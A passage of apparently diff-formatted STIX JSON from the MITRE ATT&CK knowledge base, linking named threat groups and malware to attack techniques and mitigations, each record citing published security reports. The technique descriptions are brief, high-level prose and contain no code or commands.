"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6e466b8c-5798-4976-becb-9237f6154aab", + "source_ref": "course-of-action--676975b9-7e8e-463d-a31e-4ed2ecbfed81", + "modified": "2019-07-24T18:10:06.537Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.028Z", + "id": "relationship--142800a5-62e9-48e9-97ef-186cfb68ffa1", + "source_ref": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac", + "modified": "2019-07-25T11:41:40.116Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ccf8b65-7f3e-4db7-933c-0a9bfae9602e", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.089Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) sent emails to victims with malicious Microsoft Office documents attached.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7a2f70b7-7b6e-4c05-8f71-42a494b055ce", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.618Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--36adf5c8-2426-41e1-807d-f4d7958b9d54", + "source_ref": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931", + "modified": "2019-07-24T19:35:33.793Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to stage files for exfiltration in a single location.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--87ddc052-0933-4722-9fb2-4653c4a3663c", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.162Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) created accounts disguised as legitimate backup and service accounts as well as an email administration account.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--558d3835-3bcc-4c07-92b1-626a89d79e76", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.252Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload has searched all fixed drives on the victim for files matching a specified list of extensions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.077Z", + "id": "relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.558Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has compressed data into password-protected RAR archives prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[APT28](https://attack.mitre.org/groups/G0007) added \"junk data\" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a \"junk length\" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.038Z", + "id": "relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.449Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--322703cc-c8f9-4046-8a61-e165a2d11bc7", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate administrators in the environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d848b82c-1b72-4054-b4c1-f31d6d09af6c", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs service discovery using net start commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.241Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.017Z", + "id": "relationship--4b12c645-96fc-45ac-b515-8333d6e254ef", + "source_ref": "course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", + "modified": "2019-07-24T14:28:48.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.039Z", + "id": "relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.474Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--02f28dfb-4e72-47e2-a390-2ec3fa67d26d", + "source_ref": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483", + "modified": "2019-07-24T18:05:00.559Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--c593abb1-54ce-4196-a11f-f1dd65fed9aa", + "source_ref": "course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307", + "modified": "2019-07-25T12:26:15.388Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used a tool that can obtain info about local and global group users, power users, and administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.057Z", + "id": "relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of starting a process using CreateProcess.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has used various forms of spearphishing in attempts to get users to open links or attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--87f59d5f-cfda-4e5a-aa0d-6a7cb395528b", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.283Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call CreateProcessAsUserA under that user's context.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.537Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Tools", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used a keylogging tool that records keystrokes in encrypted files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.057Z", + "id": "relationship--ed283e07-a029-4d23-aa8f-55f92abb5203", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Felismus](https://attack.mitre.org/software/S0171) can download files from remote servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e9011839-ca57-434d-a0cc-007594247110", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has sent spearphishing emails containing links to .hta files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--639e7b8d-57d7-4c1d-8f42-1496606ea666", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4fe3f0a3-1330-4b51-be17-b38a54b6e605", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--162d2d29-7810-499c-a9ab-08b60cd0e713", + "source_ref": "course-of-action--91816292-3686-4a6e-83c4-4c08513b9b57", + "modified": "2019-07-24T18:04:13.205Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) attempted to get users to launch malicious attachments delivered via spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b033e131-e448-46c6-815b-b86e4bd6d638", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.024Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Remote Desktop Protocol to conduct lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--78865095-f63e-461c-9e32-e202d514747d", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.260Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--09c957e3-f89b-4b41-93af-bde08f00ce36", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) attempts to obtain legitimate credentials during operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625", + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "modified": "2019-03-25T16:51:54.109Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers data from the local victim system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.074Z", + "id": "relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--47639246-6268-4a7e-9670-965873bdfb42", + "source_ref": "course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158", + "modified": "2019-07-24T19:32:43.626Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": 